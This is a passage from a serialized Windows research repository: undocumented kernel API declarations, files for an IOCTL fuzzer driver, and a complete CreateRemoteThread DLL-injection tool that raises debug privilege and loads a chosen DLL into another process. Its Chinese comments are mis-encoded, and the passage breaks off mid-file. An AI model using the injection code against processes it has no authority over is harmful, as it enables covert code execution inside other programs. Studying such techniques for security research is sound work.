CreationTime;\n LARGE_INTEGER LastAccessTime;\n LARGE_INTEGER LastWriteTime;\n LARGE_INTEGER ChangeTime;\n LARGE_INTEGER EndOfFile;\n LARGE_INTEGER AllocationSize;\n ULONG FileAttributes;\n ULONG FileNameLength;\n ULONG EaSize;\n CCHAR ShortNameLength;\n WCHAR ShortName[12];\n LARGE_INTEGER FileId;\n WCHAR FileName[1];\n\n} FILE_ID_BOTH_DIRECTORY_INFORMATION, \n*PFILE_ID_BOTH_DIRECTORY_INFORMATION;\n\ntypedef struct _FILE_ID_FULL_DIRECTORY_INFORMATION \n{\n ULONG NextEntryOffset;\n ULONG FileIndex;\n LARGE_INTEGER CreationTime;\n LARGE_INTEGER LastAccessTime;\n LARGE_INTEGER LastWriteTime;\n LARGE_INTEGER ChangeTime;\n LARGE_INTEGER EndOfFile;\n LARGE_INTEGER AllocationSize;\n ULONG FileAttributes;\n ULONG FileNameLength;\n ULONG EaSize;\n LARGE_INTEGER FileId;\n WCHAR FileName[1];\n\n} FILE_ID_FULL_DIRECTORY_INFORMATION, \n*PFILE_ID_FULL_DIRECTORY_INFORMATION; \n\ntypedef struct _SYSTEM_OBJECT_TYPE_INFORMATION \n{\n ULONG NextEntryOffset;\n ULONG ObjectCount;\n ULONG HandleCount;\n ULONG TypeNumber;\n ULONG InvalidAttributes;\n GENERIC_MAPPING GenericMapping;\n ACCESS_MASK ValidAccessMask;\n POOL_TYPE PoolType;\n UCHAR Unknown;\n UNICODE_STRING Name;\n\n} SYSTEM_OBJECT_TYPE_INFORMATION, \n*PSYSTEM_OBJECT_TYPE_INFORMATION; \n\ntypedef struct _SYSTEM_OBJECT_INFORMATION \n{\n ULONG NextEntryOffset;\n PVOID Object;\n ULONG CreatorProcessId;\n USHORT Unknown;\n USHORT Flags;\n ULONG PointerCount;\n ULONG HandleCount;\n ULONG PagedPoolUsage;\n ULONG NonPagedPoolUsage;\n ULONG ExclusiveProcessId;\n PSECURITY_DESCRIPTOR SecurityDescriptor;\n UNICODE_STRING Name;\n\n} SYSTEM_OBJECT_INFORMATION, \n*PSYSTEM_OBJECT_INFORMATION;\n\nNTSYSAPI \nNTSTATUS \nNTAPI \nZwQueryDirectoryFile(\n HANDLE FileHandle, \n HANDLE Event, \n PIO_APC_ROUTINE ApcRoutine, \n PVOID ApcContext,\n PIO_STATUS_BLOCK IoStatusBlock, \n PVOID FileInformation, \n ULONG FileInformationLength, \n FILE_INFORMATION_CLASS FileInformationClass,\n BOOLEAN ReturnSingleEntry, \n PUNICODE_STRING FileName, \n BOOLEAN RestartScan\n);\n\ntypedef struct _SYSTEM_PROCESS_INFORMATION {\n ULONG NextEntryOffset;\n ULONG NumberOfThreads;\n LARGE_INTEGER SpareLi1;\n LARGE_INTEGER SpareLi2;\n LARGE_INTEGER SpareLi3;\n LARGE_INTEGER CreateTime;\n LARGE_INTEGER UserTime;\n LARGE_INTEGER KernelTime;\n UNICODE_STRING ImageName;\n KPRIORITY BasePriority;\n HANDLE UniqueProcessId;\n HANDLE InheritedFromUniqueProcessId;\n ULONG HandleCount;\n ULONG SessionId;\n ULONG_PTR PageDirectoryBase;\n SIZE_T PeakVirtualSize;\n SIZE_T VirtualSize;\n ULONG PageFaultCount;\n SIZE_T PeakWorkingSetSize;\n SIZE_T WorkingSetSize;\n SIZE_T QuotaPeakPagedPoolUsage;\n SIZE_T QuotaPagedPoolUsage;\n SIZE_T QuotaPeakNonPagedPoolUsage;\n SIZE_T QuotaNonPagedPoolUsage;\n SIZE_T PagefileUsage;\n SIZE_T PeakPagefileUsage;\n SIZE_T PrivatePageCount;\n LARGE_INTEGER ReadOperationCount;\n LARGE_INTEGER WriteOperationCount;\n LARGE_INTEGER OtherOperationCount;\n LARGE_INTEGER ReadTransferCount;\n LARGE_INTEGER WriteTransferCount;\n LARGE_INTEGER OtherTransferCount;\n} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;\n\n\ntypedef struct THREAD_BASIC_INFORMATION\n{\n NTSTATUS ExitStatus;\n PVOID TebBaseAddress;\n CLIENT_ID ClientId;\n KAFFINITY AffinityMask;\n KPRIORITY Priority;\n KPRIORITY BasePriority;\n\n} THREAD_BASIC_INFORMATION,\n*PTHREAD_BASIC_INFORMATION;\n\nNTSYSAPI \nNTSTATUS \nNTAPI \nZwQuerySystemInformation(\n SYSTEM_INFORMATION_CLASS SystemInformationClass,\n PVOID SystemInformation,\n ULONG SystemInformationLength,\n PULONG ReturnLength\n);\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQueryInformationProcess(\n HANDLE ProcessHandle,\n PROCESSINFOCLASS ProcessInformationClass,\n PVOID ProcessInformation,\n ULONG ProcessInformationLength,\n PULONG ReturnLength\n);\n\nNTSYSAPI \nNTSTATUS \nNTAPI \nZwOpenThread(\n PHANDLE ThreadHandle,\n ACCESS_MASK DesiredAccess,\n POBJECT_ATTRIBUTES ObjectAttributes,\n PCLIENT_ID ClientId\n);\n\nNTSYSAPI \nNTSTATUS \nNTAPI \nZwDeviceIoControlFile(\n HANDLE FileHandle,\n HANDLE Event,\n PIO_APC_ROUTINE ApcRoutine,\n PVOID ApcContext,\n PIO_STATUS_BLOCK IoStatusBlock,\n ULONG IoControlCode,\n PVOID InputBuffer,\n ULONG InputBufferLength,\n PVOID OutputBuffer,\n ULONG OutputBufferLength\n); \n\nNTSYSAPI \nNTSTATUS \nNTAPI\nZwFsControlFile(\n HANDLE FileHandle,\n HANDLE Event OPTIONAL,\n PIO_APC_ROUTINE ApcRoutine OPTIONAL,\n PVOID ApcContext OPTIONAL,\n PIO_STATUS_BLOCK IoStatusBlock,\n ULONG FsControlCode,\n PVOID InputBuffer OPTIONAL,\n ULONG InputBufferLength,\n PVOID OutputBuffer OPTIONAL,\n ULONG OutputBufferLength\n);\n\nNTSYSAPI \nNTSTATUS\nNTAPI\nZwSaveKey(\n HANDLE KeyHandle,\n HANDLE FileHandle\n); \n\nNTSYSAPI \nNTSTATUS\nNTAPI\nZwQueryVolumeInformationFile(\n HANDLE FileHandle,\n PIO_STATUS_BLOCK IoStatusBlock,\n PVOID FsInformation,\n ULONG Length,\n FS_INFORMATION_CLASS FsInformationClass\n); \n\nNTSYSAPI \nNTSTATUS\nNTAPI\nZwQuerySecurityObject(\n HANDLE Handle,\n SECURITY_INFORMATION SecurityInformation,\n PSECURITY_DESCRIPTOR SecurityDescriptor,\n ULONG Length,\n PULONG LengthNeeded\n);\n\nNTSYSAPI \nNTSTATUS\nNTAPI\nZwSetSecurityObject(\n HANDLE Handle,\n SECURITY_INFORMATION SecurityInformation,\n PSECURITY_DESCRIPTOR SecurityDescriptor\n); \n\n\nNTSYSAPI \nNTSTATUS\nNTAPI\nZwDuplicateObject(\n HANDLE SourceProcessHandle,\n HANDLE SourceHandle,\n HANDLE TargetProcessHandle,\n PHANDLE TargetHandle,\n ACCESS_MASK DesiredAccess,\n ULONG HandleAttributes,\n ULONG Options\n);\n\nNTSYSAPI \nNTSTATUS\nNTAPI\nRtlGetDaclSecurityDescriptor(\n PSECURITY_DESCRIPTOR SecurityDescriptor,\n PBOOLEAN DaclPresent,\n PACL *Dacl,\n PBOOLEAN DaclDefaulted\n);\n\n#ifndef _NTIFS_INCLUDED_\n\ntypedef struct _SID_IDENTIFIER_AUTHORITY\n{\n UCHAR Value[ 6 ];\n\n} SID_IDENTIFIER_AUTHORITY;\n\ntypedef struct _SID_IDENTIFIER_AUTHORITY *PSID_IDENTIFIER_AUTHORITY;\n\n#endif\n\nNTSYSAPI \nNTSTATUS\nNTAPI\nRtlInitializeSid(\n PSID Sid,\n PSID_IDENTIFIER_AUTHORITY IdentifierAuthority,\n UCHAR SubAuthorityCount\n); \n\nNTSYSAPI \nULONG\nNTAPI\nRtlLengthSid(\n PSID Sid\n); \n\nNTSYSAPI \nNTSTATUS\nNTAPI\nRtlAddAccessAllowedAce(\n PACL Acl,\n ULONG AceRevision,\n ACCESS_MASK AccessMask,\n PSID Sid\n);\n\nNTSYSAPI \nNTSTATUS\nNTAPI\nRtlSetDaclSecurityDescriptor(\n OUT PSECURITY_DESCRIPTOR SecurityDescriptor,\n BOOLEAN DaclPresent,\n PACL Dacl,\n BOOLEAN DaclDefaulted\n);\n\nNTSYSAPI \nNTSTATUS\nNTAPI\nRtlSelfRelativeToAbsoluteSD2(\n PSECURITY_DESCRIPTOR pSelfRelativeSecurityDescriptor,\n PULONG pBufferSize\n); \n\nNTSYSAPI \nBOOLEAN\nNTAPI\nRtlValidSid(\n PSID Sid\n); \n\n#ifndef _NTIFS_INCLUDED_\n\ntypedef struct _KAPC_STATE \n{\n LIST_ENTRY ApcListHead[2];\n PVOID Process;\n BOOLEAN KernelApcInProgress;\n BOOLEAN KernelApcPending;\n BOOLEAN UserApcPending;\n\n} KAPC_STATE, \n*PKAPC_STATE;\n\n#endif\n\nNTSYSAPI\nVOID\nNTAPI \nKeStackAttachProcess(\n PEPROCESS Process,\n PKAPC_STATE ApcState\n);\n\nNTSYSAPI\nVOID\nNTAPI\nKeUnstackDetachProcess(\n PKAPC_STATE ApcState\n);\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nPsLookupProcessByProcessId(\n HANDLE ProcessId,\n PEPROCESS *Process\n);\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nPsLookupThreadByThreadId(\n HANDLE ThreadId,\n PETHREAD *Thread\n);\n\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nObOpenObjectByPointer(\n PVOID Object,\n ULONG HandleAttributes,\n PACCESS_STATE PassedAccessState,\n ACCESS_MASK DesiredAccess,\n POBJECT_TYPE ObjectType,\n KPROCESSOR_MODE AccessMode,\n PHANDLE Handle\n);\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nObOpenObjectByName(\n POBJECT_ATTRIBUTES ObjectAttributes,\n POBJECT_TYPE ObjectType, \n KPROCESSOR_MODE AccessMode,\n PACCESS_STATE AccessState, \n ACCESS_MASK DesiredAccess,\n PVOID ParseContext, \n PHANDLE Handle\n);\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nObReferenceObjectByName(\n PUNICODE_STRING ObjectPath,\n ULONG Attributes,\n PACCESS_STATE PassedAccessState,\n ACCESS_MASK DesiredAccess,\n POBJECT_TYPE ObjectType,\n KPROCESSOR_MODE AccessMode,\n PVOID ParseContext,\n PVOID *ObjectPtr\n);\n\nNTKERNELAPI \nNTSTATUS \nObQueryNameString(\n PVOID Object,\n POBJECT_NAME_INFORMATION ObjectNameInfo,\n ULONG Length,\n PULONG ReturnLength\n);\n\nNTKERNELAPI\nVOID\nKeSetSystemAffinityThread(\n KAFFINITY Affinity\n);\n\ntypedef enum\n{\n OriginalApcEnvironment,\n AttachedApcEnvironment,\n CurrentApcEnvironment\n\n} KAPC_ENVIRONMENT;\n\nNTKERNELAPI\nVOID\nKeInitializeApc(\n PRKAPC Apc,\n PRKTHREAD Thread,\n KAPC_ENVIRONMENT Environment,\n PKKERNEL_ROUTINE KernelRoutine,\n PKRUNDOWN_ROUTINE RundownRoutine,\n PKNORMAL_ROUTINE NormalRoutine,\n KPROCESSOR_MODE ApcMode,\n PVOID NormalContext\n);\n\nNTKERNELAPI\nBOOLEAN\nKeInsertQueueApc(\n PKAPC Apc,\n PVOID SystemArgument1,\n PVOID SystemArgument2,\n KPRIORITY Increment\n);\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/version.rc", "content": "//Microsoft Developer Studio generated resource script.\n//\n\n#ifdef APSTUDIO_INVOKED\n#ifndef APSTUDIO_READONLY_SYMBOLS\n#define _APS_NEXT_RESOURCE_VALUE 101\n#define _APS_NEXT_COMMAND_VALUE 40001\n#define _APS_NEXT_COMMAND_CONTROL_VALUE 1000\n#define _APS_NEXT_SYMED_VALUE 101\n#endif\n#endif\n\n\n#define APSTUDIO_READONLY_SYMBOLS\n/////////////////////////////////////////////////////////////////////////////\n//\n// Generated from the TEXTINCLUDE 2 resource.\n//\n#define APSTUDIO_HIDDEN_SYMBOLS\n#include \"windows.h\"\n#undef APSTUDIO_HIDDEN_SYMBOLS\n#include \"ntverp.h\"\n\n/////////////////////////////////////////////////////////////////////////////\n#undef APSTUDIO_READONLY_SYMBOLS\n\n/////////////////////////////////////////////////////////////////////////////\n// Chinese (P.R.C.) resources\n\n#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)\n#ifdef _WIN32\nLANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED\n#pragma code_page(936)\n#endif //_WIN32\n\n#ifndef _MAC\n/////////////////////////////////////////////////////////////////////////////\n//\n// Version\n//\n\nVS_VERSION_INFO VERSIONINFO\n FILEVERSION 1,0,0,5\n PRODUCTVERSION 1,0,0,5\n FILEFLAGSMASK 0x3fL\n#ifdef _DEBUG\n FILEFLAGS 0x1L\n#else\n FILEFLAGS 0x0L\n#endif\n FILEOS 0x40004L\n FILETYPE 0x3L\n FILESUBTYPE 0x7L\nBEGIN\n BLOCK \"StringFileInfo\"\n BEGIN\n BLOCK \"080404b0\"\n BEGIN\n VALUE \"Comments\", \"Fuzzer\\0\"\n VALUE \"CompanyName\", \"\\0\"\n VALUE \"FileDescription\", \"IOCTL Fuzzer\\0\"\n VALUE \"FileVersion\", \"1.0.0.5\\0\"\n VALUE \"InternalName\", \"IOCTL_fuzzer.sys\\0\"\n VALUE \"LegalCopyright\", \"\\0\"\n VALUE \"LegalTrademarks\", \"\\0\"\n VALUE \"OriginalFilename\", \"IOCTL_fuzzer.sys\\0\"\n VALUE \"PrivateBuild\", \"\\0\"\n VALUE \"ProductName\", \"Fuzzer\\0\"\n VALUE \"ProductVersion\", \"1.0.0.5\\0\"\n VALUE \"SpecialBuild\", \"\\0\"\n END\n END\n BLOCK \"VarFileInfo\"\n BEGIN\n VALUE \"Translation\", 0x804, 1200\n END\nEND\n\n#endif // !_MAC\n\n\n#ifdef APSTUDIO_INVOKED\n/////////////////////////////////////////////////////////////////////////////\n//\n// TEXTINCLUDE\n//\n\n1 TEXTINCLUDE MOVEABLE PURE \nBEGIN\n \"resource.h\\0\"\nEND\n\n2 TEXTINCLUDE MOVEABLE PURE \nBEGIN\n \"#define APSTUDIO_HIDDEN_SYMBOLS\\r\\n\"\n \"#include \"\"windows.h\"\"\\r\\n\"\n \"#undef APSTUDIO_HIDDEN_SYMBOLS\\r\\n\"\n \"#include \"\"ntverp.h\"\"\\r\\n\"\n \"\\0\"\nEND\n\n3 TEXTINCLUDE MOVEABLE PURE \nBEGIN\n \"\\r\\n\"\n \"\\0\"\nEND\n\n#endif // APSTUDIO_INVOKED\n\n#endif // Chinese (P.R.C.) resources\n/////////////////////////////////////////////////////////////////////////////\n\n\n\n#ifndef APSTUDIO_INVOKED\n/////////////////////////////////////////////////////////////////////////////\n//\n// Generated from the TEXTINCLUDE 3 resource.\n//\n\n\n/////////////////////////////////////////////////////////////////////////////\n#endif // not APSTUDIO_INVOKED\n\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile.sln", "content": "\nMicrosoft Visual Studio Solution File, Format Version 10.00\n# Visual Studio 2008\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"HookDeviceIoControlFile\", \"HookDeviceIoControlFile\\HookDeviceIoControlFile.vcproj\", \"{DD2262AA-B5AD-411D-99DF-DDD53F92830F}\"\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug|Win32 = Debug|Win32\n\t\tRelease|Win32 = Release|Win32\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{DD2262AA-B5AD-411D-99DF-DDD53F92830F}.Debug|Win32.ActiveCfg = Debug|Win32\n\t\t{DD2262AA-B5AD-411D-99DF-DDD53F92830F}.Debug|Win32.Build.0 = Debug|Win32\n\t\t{DD2262AA-B5AD-411D-99DF-DDD53F92830F}.Release|Win32.ActiveCfg = Release|Win32\n\t\t{DD2262AA-B5AD-411D-99DF-DDD53F92830F}.Release|Win32.Build.0 = Release|Win32\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\nEndGlobal\n" }, { "path": "HookDeviceIocontrlFile/ReadMe.txt", "content": "change from https://github.com/Cr4sh/ioctlfuzzer\n\nto log DeviceIoControl buffer by xml file. \n\nsupport for 32 and 64 bits." }, { "path": "Inject/CreateRemoteThread/CreateRemoteThread/CreateRemoteThread.cpp", "content": "/*\r\nx86x64עΪx64ϵͳ˽϶Ȩ޵У飬ҪȨ\r\nx64ȨҪõntdll.dllеδRtlAdjustPrivilege().\r\n*/\r\n#include \"stdafx.h\"\r\n#include \"CreateRemoteThread.h\"\r\n#include \r\n\r\n#ifdef _DEBUG\r\n#define new DEBUG_NEW\r\n#endif\r\n\r\n\r\n// ΨһӦó\r\n\r\nCWinApp theApp;\r\n\r\nusing namespace std;\r\n\r\ntypedef enum _WIN_VERSION\r\n{\r\n WindowsNT,\r\n Windows2000,\r\n WindowsXP,\r\n Windows2003,\r\n WindowsVista,\r\n Windows7,\r\n Windows8,\r\n Windows10,\r\n WinUnknown\r\n}WIN_VERSION;\r\ntypedef NTSTATUS( NTAPI* fnRtlGetVersion )(PRTL_OSVERSIONINFOW lpVersionInformation); \r\n\r\nVOID InjectDll(ULONG_PTR ProcessID, WCHAR* strPath);\r\nWIN_VERSION GetWindowsVersion();\r\nBOOL EnableDebugPrivilege();\r\nBOOL InjectDllByRemoteThreadXP(const TCHAR* wzDllFile, ULONG_PTR ProcessId);\r\nBOOL InjectDllByRemoteThreadWin7(const TCHAR* wzDllFile, ULONG_PTR ProcessId);\r\n\r\ntypedef long (__fastcall *pfnRtlAdjustPrivilege64)(ULONG,ULONG,ULONG,PVOID);\r\ntypedef long (__stdcall *pfnRtlAdjustPrivilege32)(ULONG,ULONG,ULONG,PVOID);\r\n\r\nWIN_VERSION WinVersion = WinUnknown;\r\n\r\nint _tmain(int argc, TCHAR* argv[], TCHAR* envp[])\r\n{\r\n WinVersion = GetWindowsVersion();\r\n\r\n if(argc == 3)\r\n {\r\n ULONG ProcessId = 0;\r\n swscanf_s(argv[1], L\"%d\", &ProcessId);\r\n InjectDll(ProcessId, argv[2]);\r\n }\r\n \r\n return 0;\r\n}\r\n\r\nVOID InjectDll(ULONG_PTR ProcessID, WCHAR* strPath)\r\n{\r\n WCHAR wzPath[MAX_PATH] = {0};\r\n\r\n if (ProcessID == 0 || strPath == NULL)\r\n {\r\n printf(\"Inject Fail ProcessId or strPath is not exists \\r\\n\");\r\n return;\r\n }\r\n\r\n GetCurrentDirectory(260,wzPath);\r\n wcsncat_s(wzPath, L\"\\\\\", 2);\r\n wcsncat_s(wzPath, strPath, wcslen(strPath));//dll·\r\n\r\n if (!PathFileExists(wzPath))\r\n {\r\n printf(\"Inject Fail strPath is not exists LastError [%d]\\r\\n\", GetLastError());\r\n return;\r\n } \r\n\r\n printf(\"Inject Target [%d], strPath [%S]\\n\", ProcessID, wzPath);\r\n\r\n if(WinVersion >= Windows7)\r\n {\r\n if (!InjectDllByRemoteThreadWin7(wzPath,ProcessID))\r\n printf(\"Inject Fail\\r\\n\");\r\n else \r\n printf (\"Inject Success\\r\\n\");\r\n }\r\n else\r\n {\r\n if (!InjectDllByRemoteThreadXP(wzPath,ProcessID))\r\n printf(\"Inject Fail\\r\\n\"); \r\n else \r\n printf(\"Inject Success\\r\\n\");\r\n }\r\n}\r\n\r\n\r\nBOOL InjectDllByRemoteThreadWin7(const TCHAR* wzDllFile, ULONG_PTR ProcessId)\r\n{\r\n if (NULL == wzDllFile || 0 == ::_tcslen(wzDllFile) || ProcessId == 0 || -1 == _taccess(wzDllFile, 0))\r\n {\r\n return FALSE;\r\n }\r\n HANDLE hProcess = NULL;\r\n HANDLE hThread = NULL;\r\n DWORD dwRetVal = 0;\r\n LPTHREAD_START_ROUTINE FuncAddress = NULL;\r\n DWORD dwSize = 0;\r\n TCHAR* VirtualAddress = NULL;\r\n //Ԥ룬֧Unicode\r\n#ifdef _UNICODE\r\n FuncAddress = (PTHREAD_START_ROUTINE)::GetProcAddress(::GetModuleHandle(_T(\"Kernel32\")), \"LoadLibraryW\");\r\n#else\r\n FuncAddress = (PTHREAD_START_ROUTINE)::GetProcAddress(::GetModuleHandle(_T(\"Kernel32\")), \"LoadLibraryA\");\r\n#endif\r\n\r\n if (FuncAddress==NULL)\r\n {\r\n return FALSE;\r\n }\r\n\r\n#ifdef _WIN64\r\n pfnRtlAdjustPrivilege64 RtlAdjustPrivilege = NULL;\r\n RtlAdjustPrivilege=(pfnRtlAdjustPrivilege64)GetProcAddress((HMODULE)(FuncAddress(L\"ntdll.dll\")),\"RtlAdjustPrivilege\");\r\n#else\r\n pfnRtlAdjustPrivilege32 RtlAdjustPrivilege = NULL;\r\n RtlAdjustPrivilege=(pfnRtlAdjustPrivilege32)GetProcAddress((HMODULE)(FuncAddress(L\"ntdll.dll\")),\"RtlAdjustPrivilege\");\r\n#endif\r\n\r\n if (RtlAdjustPrivilege==NULL)\r\n {\r\n return FALSE;\r\n }\r\n /*\r\n . SE_BACKUP_PRIVILEGE, \"17\", \r\n . SE_RESTORE_PRIVILEGE, \"18\", \r\n . SE_SHUTDOWN_PRIVILEGE, \"19\", \r\n . SE_DEBUG_PRIVILEGE, \"20\", \r\n */\r\n RtlAdjustPrivilege(20,1,0,&dwRetVal); //19\r\n\r\n hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE, ProcessId);\r\n\r\n if (NULL == hProcess)\r\n {\r\n printf(\"Open Process Fail lastError [%d]\\r\\n\", GetLastError());\r\n return FALSE;\r\n }\r\n\r\n // Ŀзڴռ\r\n dwSize = (DWORD)::_tcslen(wzDllFile) + 1;\r\n VirtualAddress = (TCHAR*)::VirtualAllocEx(hProcess, NULL, dwSize * sizeof(TCHAR), MEM_COMMIT, PAGE_READWRITE); \r\n if (NULL == VirtualAddress)\r\n {\r\n printf(\"Virtual Process Memory Fail lastError [%d]\\r\\n\", GetLastError());\r\n CloseHandle(hProcess);\r\n return FALSE;\r\n }\r\n\r\n // Ŀ̵ڴռд(ģ)\r\n if (FALSE == ::WriteProcessMemory(hProcess, VirtualAddress, (LPVOID)wzDllFile, dwSize * sizeof(TCHAR), NULL))\r\n {\r\n printf(\"Write Data Fail LastError [%d]\\r\\n\", GetLastError());\r\n VirtualFreeEx(hProcess, VirtualAddress, dwSize, MEM_DECOMMIT);\r\n CloseHandle(hProcess);\r\n return FALSE;\r\n }\r\n\r\n hThread = ::CreateRemoteThread(hProcess, NULL, 0, FuncAddress, VirtualAddress, 0, NULL);\r\n if (NULL == hThread)\r\n {\r\n printf(\"CreateRemoteThread Fail lastError [%d]\\r\\n\", GetLastError());\r\n VirtualFreeEx(hProcess, VirtualAddress, dwSize, MEM_DECOMMIT);\r\n CloseHandle(hProcess);\r\n return FALSE;\r\n }\r\n // ȴԶ߳̽\r\n WaitForSingleObject(hThread, INFINITE);\r\n // Դ\r\n VirtualFreeEx(hProcess, VirtualAddress, dwSize, MEM_DECOMMIT);\r\n CloseHandle(hThread);\r\n CloseHandle(hProcess);\r\n return TRUE;\r\n}\r\n\r\n\r\nBOOL InjectDllByRemoteThreadXP(const TCHAR* wzDllFile, ULONG_PTR ProcessId)\r\n{\r\n // Ч\r\n if (NULL == wzDllFile || 0 == ::_tcslen(wzDllFile) || ProcessId == 0 || -1 == _taccess(wzDllFile, 0))\r\n { \r\n return FALSE;\r\n }\r\n HANDLE hProcess = NULL;\r\n HANDLE hThread = NULL;\r\n DWORD dwSize = 0;\r\n TCHAR* VirtualAddress = NULL;\r\n LPTHREAD_START_ROUTINE FuncAddress = NULL;\r\n\r\n if(!EnableDebugPrivilege())\r\n {\r\n printf(\"EnableDebugPrivilege fail lasterror is [%d]\\n\", GetLastError());\r\n return FALSE;\r\n }\r\n\r\n // ȡĿ̾\r\n hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ProcessId);\r\n if (NULL == hProcess)\r\n {\r\n printf(\"Open Process Fail LastError [%d]\\r\\n\", GetLastError());\r\n return FALSE;\r\n }\r\n // Ŀзڴռ\r\n dwSize = (DWORD)::_tcslen(wzDllFile) + 1;\r\n VirtualAddress = (TCHAR*)::VirtualAllocEx(hProcess, NULL, dwSize * sizeof(TCHAR), MEM_COMMIT, PAGE_READWRITE);\r\n if (NULL == VirtualAddress)\r\n {\r\n printf(\"Virtual Process Memory Fail LastError [%d]\\r\\n\", GetLastError());\r\n CloseHandle(hProcess);\r\n return FALSE;\r\n }\r\n // Ŀ̵ڴռд(ģ)\r\n if (FALSE == ::WriteProcessMemory(hProcess, VirtualAddress, (LPVOID)wzDllFile, dwSize * sizeof(TCHAR), NULL))\r\n {\r\n printf(\"Write Data Fail LastError [%d]\\r\\n\", GetLastError());\r\n VirtualFreeEx(hProcess, VirtualAddress, dwSize, MEM_DECOMMIT);\r\n CloseHandle(hProcess);\r\n return FALSE;\r\n }\r\n // Kernel32.dll лȡ LoadLibrary ַ\r\n#ifdef _UNICODE\r\n FuncAddress = (PTHREAD_START_ROUTINE)::GetProcAddress(::GetModuleHandle(_T(\"Kernel32\")), \"LoadLibraryW\");\r\n#else\r\n FuncAddress = (PTHREAD_START_ROUTINE)::GetProcAddress(::GetModuleHandle(_T(\"Kernel32\")), \"LoadLibraryA\");\r\n#endif\r\n\r\n if (NULL == FuncAddress)\r\n {\r\n printf(\"Get LoadLibrary Fail LastError [%d]\\r\\n\", GetLastError());\r\n VirtualFreeEx(hProcess, VirtualAddress, dwSize, MEM_DECOMMIT);\r\n CloseHandle(hProcess);\r\n return false;\r\n }\r\n\r\n // Զ̵߳ LoadLibrary\r\n hThread = ::CreateRemoteThread(hProcess, NULL, 0, FuncAddress, VirtualAddress, 0, NULL);\r\n if (NULL == hThread)\r\n {\r\n printf(\"CreateRemoteThread Fail LastError [%d]\\r\\n\", GetLastError());\r\n VirtualFreeEx(hProcess, VirtualAddress, dwSize, MEM_DECOMMIT);\r\n CloseHandle(hProcess);\r\n return FALSE;\r\n }\r\n\r\n // ȴԶ߳̽\r\n WaitForSingleObject(hThread, INFINITE);\r\n // \r\n VirtualFreeEx(hProcess, VirtualAddress, dwSize, MEM_DECOMMIT);\r\n CloseHandle(hThread);\r\n CloseHandle(hProcess);\r\n\r\n return TRUE;\r\n}\r\n\r\nWIN_VERSION GetWindowsVersion()\r\n{\r\n RTL_OSVERSIONINFOEXW verInfo = { 0 }; \r\n verInfo.dwOSVersionInfoSize = sizeof( verInfo ); \r\n\r\n fnRtlGetVersion RtlGetVersion = (fnRtlGetVersion)GetProcAddress( GetModuleHandleW( L\"ntdll.dll\" ), \"RtlGetVersion\" ); \r\n if(RtlGetVersion != NULL && RtlGetVersion((PRTL_OSVERSIONINFOW)&verInfo) == 0)\r\n {\r\n if (verInfo.dwMajorVersion <= 4 )\r\n {\r\n return WindowsNT;\r\n }\r\n if (verInfo.dwMajorVersion == 5 && verInfo.dwMinorVersion == 0)\r\n {\r\n return Windows2000;\r\n }\r\n\r\n if (verInfo.dwMajorVersion == 5 && verInfo.dwMinorVersion == 1)\r\n {\r\n return WindowsXP;\r\n }\r\n if (verInfo.dwMajorVersion == 5 && verInfo.dwMinorVersion == 2)\r\n {\r\n return Windows2003;\r\n }\r\n if (verInfo.dwMajorVersion == 6 && verInfo.dwMinorVersion == 0)\r\n {\r\n return WindowsVista;\r\n }\r\n\r\n if (verInfo.dwMajorVersion == 6 && verInfo.dwMinorVersion == 1)\r\n {\r\n return Windows7;\r\n }\r\n if (verInfo.dwMajorVersion == 6 && verInfo.dwMinorVersion == 2 )\r\n {\r\n return Windows8;\r\n }\r\n if (verInfo.dwMajorVersion == 10 && verInfo.dwMinorVersion == 0 && verInfo.dwBuildNumber >= 10240)\r\n {\r\n return Windows10;\r\n }\r\n }\r\n\r\n return WinUnknown;\r\n}\r\n\r\nBOOL EnableDebugPrivilege()\r\n{\r\n HANDLE hToken; \r\n TOKEN_PRIVILEGES TokenPrivilege;\r\n LUID uID;\r\n if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))\r\n {\r\n printf(\"OpenProcessToken is Error\\n\");\r\n return FALSE;\r\n }\r\n if (!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&uID))\r\n {\r\n printf(\"LookupPrivilegeValue is Error\\n\");\r\n return FALSE;\r\n }\r\n TokenPrivilege.PrivilegeCount = 1;\r\n TokenPrivilege.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\r\n TokenPrivilege.Privileges[0].Luid = uID;\r\n //ǽеȨ\r\n if (!AdjustTokenPrivileges(hToken,false,&TokenPrivilege,sizeof(TOKEN_PRIVILEGES),NULL,NULL))\r\n {\r\n printf(\"AdjuestTokenPrivileges is Error\\n\");\r\n return FALSE;\r\n }\r\n return TRUE;\r\n}\r\n" }, { "path": "Inject/CreateRemoteThread/CreateRemoteThread/CreateRemoteThread.h", "content": "#pragma once\r\n\r\n#include \"resource.h\"\r\n" }, { "path": "Inject/CreateRemoteThread/CreateRemoteThread/CreateRemoteThread.vcxproj", "content": "\r\n\r\n \r\n \r\n Debug\r\n Win32\r\n \r\n \r\n Debug\r\n x64\r\n \r\n \r\n Release\r\n Win32\r\n \r\n \r\n Release\r\n x64\r\n \r\n \r\n \r\n {62BBF757-A1B4-4FF4-89C0-2890DEF4983F}\r\n Win32Proj\r\n CreateRemoteThread\r\n \r\n \r\n \r\n Application\r\n true\r\n Unicode\r\n 